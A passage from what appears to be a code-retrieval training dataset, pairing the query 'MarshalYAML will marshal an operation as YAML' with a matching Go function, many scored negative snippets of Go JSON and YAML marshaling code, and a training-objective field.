v.Type)\\n\\treturn append(b, \\\"}\\\"...)\\n}\",\n \"func (o OperationEntity) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"isDataAction\\\", o.IsDataAction)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func JSONOpString(v []types.Operation) (string, error) {\\n\\tvar tx types.Operations\\n\\n\\ttx = append(tx, v...)\\n\\n\\tans, err := types.JSONMarshal(tx)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(ans), nil\\n}\",\n \"func (m OperationResult) MarshalJSON() ([]byte, error) {\\n\\tvar b1, b2 []byte\\n\\tvar err error\\n\\tb1, err = json.Marshal(struct {\\n\\t\\tCreatedDateTime strfmt.DateTime `json:\\\"createdDateTime,omitempty\\\"`\\n\\n\\t\\tLastActionDateTime strfmt.DateTime `json:\\\"lastActionDateTime,omitempty\\\"`\\n\\n\\t\\tMessage string `json:\\\"message,omitempty\\\"`\\n\\n\\t\\tOperationType string `json:\\\"operationType,omitempty\\\"`\\n\\n\\t\\tStatus string `json:\\\"status,omitempty\\\"`\\n\\t}{\\n\\t\\tCreatedDateTime: m.CreatedDateTime,\\n\\t\\tLastActionDateTime: m.LastActionDateTime,\\n\\t\\tMessage: m.Message,\\n\\t\\tOperationType: m.OperationType,\\n\\t\\tStatus: m.Status,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb2, err = json.Marshal(struct {\\n\\t\\tOperationProcessingResult OperationProcessingResult `json:\\\"operationProcessingResult,omitempty\\\"`\\n\\t}{\\n\\t\\tOperationProcessingResult: m.OperationProcessingResult,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn swag.ConcatJSON(b1, b2), nil\\n}\",\n \"func (o OperationEntity) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"display\\\", o.Display)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"origin\\\", o.Origin)\\n\\tpopulateAny(objectMap, \\\"properties\\\", o.Properties)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationCollection) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (d DeleteOperation) MarshalJSON() ([]byte, error) {\\n\\t// validate required fields\\n\\tswitch {\\n\\tcase len(d.Table) == 0:\\n\\t\\treturn nil, errors.New(\\\"Table field is required\\\")\\n\\tcase len(d.Where) == 0:\\n\\t\\treturn nil, errors.New(\\\"Where field is required\\\")\\n\\t}\\n\\t// validate contions\\n\\tfor _, cond := range d.Where {\\n\\t\\tif !cond.Valid() {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"Invalid condition: %v\\\", cond)\\n\\t\\t}\\n\\t}\\n\\n\\tvar temp = struct {\\n\\t\\tOp OperationType `json:\\\"op\\\"`\\n\\t\\tTable ID `json:\\\"table\\\"`\\n\\t\\tWhere []Condition `json:\\\"where\\\"`\\n\\t}{\\n\\t\\tOp: d.Op(),\\n\\t\\tTable: d.Table,\\n\\t\\tWhere: d.Where,\\n\\t}\\n\\treturn json.Marshal(temp)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (cepbo CheckExistsPropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcepbo.Kind = KindCheckExists\\n\\tobjectMap := make(map[string]interface{})\\n\\tif cepbo.Exists != nil {\\n\\t\\tobjectMap[\\\"Exists\\\"] = cepbo.Exists\\n\\t}\\n\\tif cepbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cepbo.PropertyName\\n\\t}\\n\\tif cepbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cepbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationsContent) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"id\\\", o.ID)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulate(objectMap, \\\"properties\\\", o.Properties)\\n\\tpopulate(objectMap, \\\"systemData\\\", o.SystemData)\\n\\tpopulate(objectMap, \\\"type\\\", o.Type)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationPropertiesFormat) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"serviceSpecification\\\", o.ServiceSpecification)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"description\\\", o.Description)\\n\\tpopulate(objectMap, \\\"operation\\\", o.Operation)\\n\\tpopulate(objectMap, \\\"provider\\\", o.Provider)\\n\\tpopulate(objectMap, \\\"resource\\\", o.Resource)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationProperties) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"serviceSpecification\\\", o.ServiceSpecification)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (cvpbo CheckValuePropertyBatchOperation) MarshalJSON() ([]byte, error) {\\n\\tcvpbo.Kind = KindCheckValue\\n\\tobjectMap := make(map[string]interface{})\\n\\tobjectMap[\\\"Value\\\"] = cvpbo.Value\\n\\tif cvpbo.PropertyName != nil {\\n\\t\\tobjectMap[\\\"PropertyName\\\"] = cvpbo.PropertyName\\n\\t}\\n\\tif cvpbo.Kind != \\\"\\\" {\\n\\t\\tobjectMap[\\\"Kind\\\"] = cvpbo.Kind\\n\\t}\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationDisplay) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (r ResourceProviderOperationCollection) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", r.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", r.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (a AsyncOperationResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"error\\\", a.Error)\\n\\tpopulate(objectMap, \\\"name\\\", a.Name)\\n\\tpopulate(objectMap, \\\"status\\\", a.Status)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (op OpRetain) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(op.Fields)\\n}\",\n \"func (v OperationIdentifier) EncodeJSON(b []byte) []byte {\\n\\tb = append(b, `{\\\"index\\\":`...)\\n\\tb = json.AppendInt(b, v.Index)\\n\\tb = append(b, \\\",\\\"...)\\n\\tif v.NetworkIndex.Set {\\n\\t\\tb = append(b, `\\\"network_index\\\":`...)\\n\\t\\tb = json.AppendInt(b, v.NetworkIndex.Value)\\n\\t\\tb = append(b, \\\",\\\"...)\\n\\t}\\n\\tb[len(b)-1] = '}'\\n\\treturn b\\n}\",\n \"func (op OpFlatten) MarshalJSON() ([]byte, error) {\\n\\treturn json.Marshal(op.Field)\\n}\",\n \"func (o OperationResultsDescription) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"id\\\", o.ID)\\n\\tpopulate(objectMap, \\\"name\\\", o.Name)\\n\\tpopulateTimeRFC3339(objectMap, \\\"startTime\\\", o.StartTime)\\n\\tpopulate(objectMap, \\\"status\\\", o.Status)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (olr OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (p ProviderOperationResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]interface{})\\n\\tpopulate(objectMap, \\\"nextLink\\\", p.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", p.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (diff Diff) MarshalJSON() ([]byte, error) {\\n var o map[string] interface{} = make(map[string] interface{})\\n o[\\\"op\\\"] = diff.Operation\\n o[\\\"id\\\"] = diff.Id\\n o[\\\"type\\\"] = diff.Type\\n o[\\\"data\\\"] = string(diff.Data)\\n if diff.Attr.Key != \\\"\\\" {\\n var a map[string] interface{} = make(map[string] interface{})\\n a[\\\"key\\\"] = diff.Attr.Key\\n if diff.Attr.Namespace != \\\"\\\" {\\n a[\\\"ns\\\"] = diff.Attr.Namespace\\n }\\n if diff.Attr.Val != \\\"\\\" {\\n a[\\\"val\\\"] = diff.Attr.Val\\n }\\n o[\\\"attr\\\"] = a\\n }\\n json, err := json.Marshal(&o)\\n if err != nil {\\n return nil, err\\n }\\n return json, nil\\n}\",\n \"func (u BasicUpdateOperation) JSON() string {\\n\\tj, _ := json.Marshal(u)\\n\\treturn string(j)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\",\n \"func (o OperationListResult) MarshalJSON() ([]byte, error) {\\n\\tobjectMap := make(map[string]any)\\n\\tpopulate(objectMap, \\\"nextLink\\\", o.NextLink)\\n\\tpopulate(objectMap, \\\"value\\\", o.Value)\\n\\treturn json.Marshal(objectMap)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7755043","0.7720613","0.742533","0.7391643","0.7381096","0.7364916","0.7364916","0.7364916","0.7364916","0.7364916","0.7364916","0.73504496","0.7273722","0.7273722","0.7273722","0.7273722","0.7273722","0.7273722","0.72637165","0.7245336","0.71983606","0.71983606","0.7061732","0.7061732","0.70537245","0.70370054","0.7027494","0.69333154","0.6901458","0.68381685","0.680448","0.67878693","0.6773882","0.67693913","0.6761123","0.67472523","0.67360216","0.67109525","0.67024577","0.66967684","0.66614354","0.6655383","0.66348976","0.66277975","0.6617505","0.6591326","0.6561403","0.6559198","0.6559198","0.6557286","0.6552343","0.6551152","0.65463597","0.6546121","0.6538198","0.65301347","0.6485076","0.6485076","0.6485076","0.6467785","0.64376426","0.6404587","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6381446","0.6380335","0.6343108","0.6332899","0.63299453","0.6321784","0.63180655","0.6290866","0.62505734","0.6250203","0.6241844","0.62307596","0.6215802","0.62028766","0.618529","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239","0.616239"],"string":"[\n \"0.7755043\",\n \"0.7720613\",\n \"0.742533\",\n \"0.7391643\",\n \"0.7381096\",\n \"0.7364916\",\n \"0.7364916\",\n \"0.7364916\",\n \"0.7364916\",\n \"0.7364916\",\n \"0.7364916\",\n \"0.73504496\",\n \"0.7273722\",\n \"0.7273722\",\n \"0.7273722\",\n \"0.7273722\",\n \"0.7273722\",\n \"0.7273722\",\n \"0.72637165\",\n \"0.7245336\",\n \"0.71983606\",\n \"0.71983606\",\n \"0.7061732\",\n \"0.7061732\",\n \"0.70537245\",\n \"0.70370054\",\n \"0.7027494\",\n \"0.69333154\",\n \"0.6901458\",\n \"0.68381685\",\n \"0.680448\",\n \"0.67878693\",\n \"0.6773882\",\n \"0.67693913\",\n \"0.6761123\",\n \"0.67472523\",\n \"0.67360216\",\n \"0.67109525\",\n \"0.67024577\",\n \"0.66967684\",\n \"0.66614354\",\n \"0.6655383\",\n \"0.66348976\",\n \"0.66277975\",\n \"0.6617505\",\n \"0.6591326\",\n \"0.6561403\",\n \"0.6559198\",\n \"0.6559198\",\n \"0.6557286\",\n \"0.6552343\",\n \"0.6551152\",\n \"0.65463597\",\n \"0.6546121\",\n \"0.6538198\",\n \"0.65301347\",\n \"0.6485076\",\n \"0.6485076\",\n \"0.6485076\",\n \"0.6467785\",\n \"0.64376426\",\n \"0.6404587\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6381446\",\n \"0.6380335\",\n \"0.6343108\",\n \"0.6332899\",\n \"0.63299453\",\n \"0.6321784\",\n \"0.63180655\",\n \"0.6290866\",\n \"0.62505734\",\n \"0.6250203\",\n \"0.6241844\",\n \"0.62307596\",\n \"0.6215802\",\n \"0.62028766\",\n \"0.618529\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\",\n \"0.616239\"\n]"},"document_score":{"kind":"string","value":"0.66793364"},"document_rank":{"kind":"string","value":"40"}}},{"rowIdx":106165,"cells":{"query":{"kind":"string","value":"MarshalYAML will marshal an operation as YAML"},"document":{"kind":"string","value":"func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (op OpFlatten) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}","func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}","func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}","func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}","func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}","func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}","func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}","func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}","func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}","func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}","func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}","func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}","func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}","func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}","func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}","func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}","func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}","func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}","func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}","func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}","func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}","func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}","func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), 